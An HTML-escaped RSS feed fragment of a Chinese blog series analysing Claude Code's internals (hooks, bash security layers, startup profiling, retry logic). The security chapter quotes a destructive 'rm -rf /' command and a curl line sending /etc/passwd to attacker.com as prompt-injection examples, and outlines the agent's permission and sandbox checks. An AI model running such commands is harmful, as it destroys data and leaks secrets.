&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;sse&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// Server-Sent Events（旧版远程）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;sse-ide&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// IDE 专用 SSE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;http&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// Streamable HTTP（新版远程）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ws&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// WebSocket
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;sdk&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 进程内 SDK 传输
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;每种传输类型对应不同的配置 Schema。例如 stdio 需要 &lt;code&gt;command&lt;/code&gt; 和 &lt;code&gt;args&lt;/code&gt;，而 http 和 sse 需要 &lt;code&gt;url&lt;/code&gt;、可选的 &lt;code&gt;headers&lt;/code&gt;、&lt;code&gt;headersHelper&lt;/code&gt; 和 &lt;code&gt;oauth&lt;/code&gt; 配置。这种设计体现了&lt;strong&gt;策略模式&lt;/strong&gt;的典型应用——传输层的选择与连接的建立逻辑分离。&lt;/p&gt;</description></item><item><title>第10章 钩子与中间件管线</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-10/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-10/</guid><description>&lt;h2 id="101-问题引入"&gt;10.1 问题引入&lt;/h2&gt;
&lt;p&gt;当一个 AI Agent 系统从原型走向生产，最棘手的需求往往不是核心推理能力本身，而是外围的「可定制性」：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;企业安全团队希望在每次工具调用前检查是否符合合规策略，且无需修改 Agent 内核代码；&lt;/li&gt;
&lt;li&gt;开发者希望在 LLM 返回结果后、工具实际执行前，注入一段额外的上下文信息；&lt;/li&gt;
&lt;li&gt;运维工程师需要在会话开始时自动配置环境变量，在会话结束时清理临时资源；&lt;/li&gt;
&lt;li&gt;插件系统需要让第三方扩展在不触碰主流程代码的前提下参与到工具调用的决策链中。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些需求的共同特征是：&lt;strong&gt;在不修改 Agent 核心代码的情况下，拦截、修改、扩展其行为&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这正是「钩子（Hook）」系统要解决的问题。Claude Code 的 Hook 系统是一套完整的中间件管线（Middleware Pipeline），它在 Agent 生命周期的 26 个关键节点上提供了拦截点，支持四种执行器类型（Shell 命令、LLM 提示、Agent 验证器、HTTP 回调），并通过精密的匹配、优先级、权限聚合算法将多个钩子的结果合并为一个确定性决策。&lt;/p&gt;
&lt;p&gt;从算法角度看，这里蕴含了几个经典问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;事件匹配算法&lt;/strong&gt;：如何将运行时上下文高效地路由到正确的钩子集合？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;并发聚合算法&lt;/strong&gt;：多个钩子并行执行后，如何将冲突的结果（允许/拒绝/询问）合并为一个最终决策？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;责任链与优先级排序&lt;/strong&gt;：多来源（用户配置、项目配置、策略配置、插件、会话）的钩子如何确定执行优先级？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全性约束&lt;/strong&gt;：如何保证钩子系统本身不成为安全漏洞的入口？&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="102-算法思想"&gt;10.2 算法思想&lt;/h2&gt;
&lt;h3 id="1021-事件驱动的生命周期模型"&gt;10.2.1 事件驱动的生命周期模型&lt;/h3&gt;
&lt;p&gt;Claude Code 定义了 26 种钩子事件，覆盖 Agent 运行的完整生命周期。这些事件并非随意设置，而是遵循一个严格的时序模型：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SessionStart → Setup → [UserPromptSubmit →
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; PreToolUse → (PermissionRequest) → 工具执行 →
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; PostToolUse / PostToolUseFailure → (PermissionDenied) →
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ... → Stop / StopFailure] → SessionEnd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其中嵌套着子 Agent 的生命周期（&lt;code&gt;SubagentStart&lt;/code&gt; / &lt;code&gt;SubagentStop&lt;/code&gt;）、压缩事件（&lt;code&gt;PreCompact&lt;/code&gt; / &lt;code&gt;PostCompact&lt;/code&gt;）、文件监控事件（&lt;code&gt;FileChanged&lt;/code&gt;）、以及团队协作事件（&lt;code&gt;TeammateIdle&lt;/code&gt;、&lt;code&gt;TaskCreated&lt;/code&gt;、&lt;code&gt;TaskCompleted&lt;/code&gt;）等。&lt;/p&gt;</description></item><item><title>第11章：安全深度防御算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-11/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-11/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;安全系统的可靠性不取决于最强的那道防线，而取决于所有防线的协同深度。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="111-问题引入当-ai-获得-shell-权限"&gt;11.1 问题引入：当 AI 获得 Shell 权限&lt;/h2&gt;
&lt;p&gt;想象这样一个场景：你让 Claude Code 帮你&amp;quot;清理项目中的临时文件&amp;quot;，它生成了一条 Bash 命令准备执行。这条命令可能是无害的 &lt;code&gt;find . -name '*.tmp' -delete&lt;/code&gt;，也可能被恶意提示注入篡改为 &lt;code&gt;rm -rf / --no-preserve-root&lt;/code&gt;。更隐蔽地，攻击者可能构造 &lt;code&gt;find . -name '*.tmp' -exec curl attacker.com -d @/etc/passwd \;&lt;/code&gt; 这样的命令——表面上在查找文件，实际上在窃取敏感数据。&lt;/p&gt;
&lt;p&gt;这就是 AI Agent 安全的核心挑战：&lt;strong&gt;Agent 必须拥有足够的系统权限才能有用，但不受约束的权限又会成为巨大的安全隐患&lt;/strong&gt;。Claude Code 对此给出了一个工程上极其精密的回答——一套超过 630KB 源码、覆盖 20 余种安全检查维度的深度防御体系。&lt;/p&gt;
&lt;p&gt;本章将深入解析这套安全体系的算法设计。我们将看到，它不是一个简单的&amp;quot;黑名单过滤器&amp;quot;，而是一个多层级、多维度、失败即关闭（fail-closed）的安全架构，其中每一层都假设上一层可能被绕过。&lt;/p&gt;
&lt;h2 id="112-架构总览多层过滤漏斗"&gt;11.2 架构总览：多层过滤漏斗&lt;/h2&gt;
&lt;p&gt;Claude Code 的 Bash 安全体系可以用一个&lt;strong&gt;多层过滤漏斗&lt;/strong&gt;来描述。每一条命令从进入到执行，需要依次通过以下安全层：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;用户/模型生成的命令
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第1层：预解析安全检查 │ ← bashSecurity.ts（约20个验证器）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 控制字符、Unicode攻击、 │ 检测注入、混淆、命令替换等
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 命令替换、重定向、换行… │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ passthrough / ask / allow
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第2层：AST 结构化分析 │ ← ast.ts（tree-sitter 解析）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 解析为 SimpleCommand[] │ 提取 argv、环境变量、重定向
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 节点类型白名单过滤 │ 未知节点 → too-complex → ask
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ simple / too-complex / parse-unavailable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第3层：权限规则匹配 │ ← bashPermissions.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ deny / ask / allow 规则 │ 前缀匹配、通配符匹配
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 环境变量剥离 + 包装器剥离│ 固定点迭代去除伪装层
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ deny / ask / allow
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第4层：只读性验证 │ ← readOnlyValidation.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 命令白名单 + 标志位验证 │ 确保命令仅做读取操作
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 危险标志拒绝列表 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ allow / ask
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第5层：路径约束验证 │ ← pathValidation.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 工作目录边界检查 │ 路径遍历攻击防护
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 危险路径检测 │ ~/.claude/ 等敏感路径保护
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ allow / ask / deny
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第6层：特殊命令处理 │ ← sedValidation.ts 等
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ sed/awk 等可执行命令 │ 表达式级安全分析
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ jq system() 检测 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ allow / ask
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 第7层：沙盒隔离 │ ← shouldUseSandbox.ts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 文件系统 / 网络限制 │ 最后一道物理隔离
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 命令执行
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;核心设计原则：失败即关闭（Fail-Closed）&lt;/strong&gt;。在任何一层中，如果分析器无法确定命令是安全的，就默认拒绝（返回 &lt;code&gt;ask&lt;/code&gt; 要求用户确认）。这与&amp;quot;失败即开放&amp;quot;形成鲜明对比——后者假设无法判断时命令是安全的，这在安全系统中是致命的。&lt;/p&gt;</description></item><item><title>第12章 性能优化算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-12/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-12/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;过早优化是万恶之源，但在正确的时机做正确的优化，则是工程艺术的巅峰。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="121-问题引入"&gt;12.1 问题引入&lt;/h2&gt;
&lt;p&gt;一个成熟的 AI Agent 系统面临着多维度的性能挑战。Claude Code 作为一个包含数十万行 TypeScript 代码的终端 AI 助手，需要同时解决以下问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;启动速度&lt;/strong&gt;：用户在终端输入 &lt;code&gt;claude&lt;/code&gt; 后，如何在亚秒级时间内完成初始化？数百个模块的加载、配置的解析、API 客户端的构建——任何一项阻塞都意味着体验的劣化。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;上下文窗口管理&lt;/strong&gt;：模型的上下文窗口是有限的（通常为 200K tokens），而一个长时间的编程会话可能产生数百万 tokens 的对话内容。如何在不超过窗口限制的前提下最大化信息密度？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存控制&lt;/strong&gt;：终端 UI 需要维护大量的渲染状态。一个包含 1000 条消息的会话，如果不做虚拟化，仅 React fiber 和 Yoga 布局节点就可能消耗 250MB 内存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渲染流畅性&lt;/strong&gt;：流式输出时每个 token 都会触发渲染更新。如何避免因频繁重绘导致的 CPU 峰值和卡顿？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本章将深入剖析 Claude Code 针对这些问题的系统性优化策略，从 Token 计数的精妙权衡，到上下文压缩的三级体系，再到终端渲染的虚拟滚动算法。每一项优化背后都蕴含着对&amp;quot;精确性&amp;quot;与&amp;quot;速度&amp;quot;之间平衡的深刻思考。&lt;/p&gt;
&lt;h2 id="122-启动优化策略"&gt;12.2 启动优化策略&lt;/h2&gt;
&lt;h3 id="1221-性能度量驱动的优化"&gt;12.2.1 性能度量驱动的优化&lt;/h3&gt;
&lt;p&gt;Claude Code 遵循一个朴素但有效的原则：&lt;strong&gt;不能度量的东西无法优化&lt;/strong&gt;。启动阶段的每一个关键检查点都被 &lt;code&gt;startupProfiler&lt;/code&gt; 精确记录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// startupProfiler.ts — 启动性能度量框架
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PHASE_DEFINITIONS&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;import_time&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;cli_entry&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;main_tsx_imports_loaded&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;init_time&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;init_function_start&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;init_function_end&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;settings_time&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;eagerLoadSettings_start&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;eagerLoadSettings_end&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;total_time&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;cli_entry&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;main_after_run&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;profileCheckpoint&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;SHOULD_PROFILE&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#75715e"&gt;// 非采样用户零开销
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;perf&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getPerformance&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;perf&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mark&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;DETAILED_PROFILING&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;memorySnapshots&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;memoryUsage&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;该框架采用&lt;strong&gt;分层采样&lt;/strong&gt;策略：100% 的内部用户和 0.5% 的外部用户被采样记录启动性能指标，而完整的内存快照报告仅在显式启用 &lt;code&gt;CLAUDE_CODE_PROFILE_STARTUP=1&lt;/code&gt; 时生成。这种设计确保了生产环境中性能数据的持续可观测性，同时将度量本身的开销降至最低。&lt;/p&gt;</description></item><item><title>第13章 容错与恢复算法</title><link>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-13/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-13/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;真正的韧性不在于永不失败，而在于每次失败后都能优雅地站起来。&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="131-问题引入"&gt;13.1 问题引入&lt;/h2&gt;
&lt;p&gt;想象这样一个场景：用户正在使用 Claude Code 进行一个复杂的代码重构任务。Agent 已经分析了数十个文件，制定了修改计划，正在逐步执行。此时 API 突然返回 HTTP 529（Overloaded）错误。&lt;/p&gt;
&lt;p&gt;这个看似简单的场景引发了一系列深刻的工程决策：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;立即失败？&lt;/strong&gt; 用户等待了几分钟的上下文将全部丢失，体验极差。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无限重试？&lt;/strong&gt; 如果服务器已过载，盲目重试只会加剧雪崩，使所有用户的体验都恶化。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;等待后重试？&lt;/strong&gt; 等多久？如果所有客户端都在同一时刻重试呢？&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;降级到备用模型？&lt;/strong&gt; 什么条件下降级？如何在质量和可用性之间取舍？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更复杂的场景还包括：网络在 SSH 会话中断开，进程收到 SIGTERM 信号，OAuth Token 在请求中途过期，SSL 证书验证失败……每一种故障都需要不同的处理策略。&lt;/p&gt;
&lt;p&gt;Claude Code 作为一个长时间运行的交互式 Agent 系统，面临的容错挑战远比普通 Web 应用复杂。它必须在&amp;quot;永不放弃&amp;quot;和&amp;quot;适时认输&amp;quot;之间找到精确的平衡点。本章将深入分析 Claude Code 源码中的容错与恢复算法，揭示一个生产级 Agent 系统如何在真实世界的混乱中保持韧性。&lt;/p&gt;
&lt;h2 id="132-错误分类状态机"&gt;13.2 错误分类状态机&lt;/h2&gt;
&lt;p&gt;容错系统的第一步是&lt;strong&gt;正确分类错误&lt;/strong&gt;。不同类型的错误需要截然不同的处理策略。Claude Code 构建了一个精密的错误分类体系，将错误分为可重试、不可重试、可降级等多个类别。&lt;/p&gt;
&lt;h3 id="1321-分类的核心逻辑"&gt;13.2.1 分类的核心逻辑&lt;/h3&gt;
&lt;p&gt;错误分类是一棵决策树。Claude Code 的 &lt;code&gt;shouldRetry&lt;/code&gt; 函数体现了这棵树的结构：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;错误发生&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;是否为模拟错误？&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;不重试（测试用）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;是否为持久模式下的瞬态容量错误（&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;429&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;529&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）？&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;始终重试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;远程模式下的&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;401&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;403&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;？&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试（基础设施令牌刷新）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;包含&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;overloaded_error&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;？&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试（流式&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;529&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;的变体）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;├──&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;上下文溢出&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;400&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;？&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;→&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;重试（自动调整&lt;/span&gt; max_tokens&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
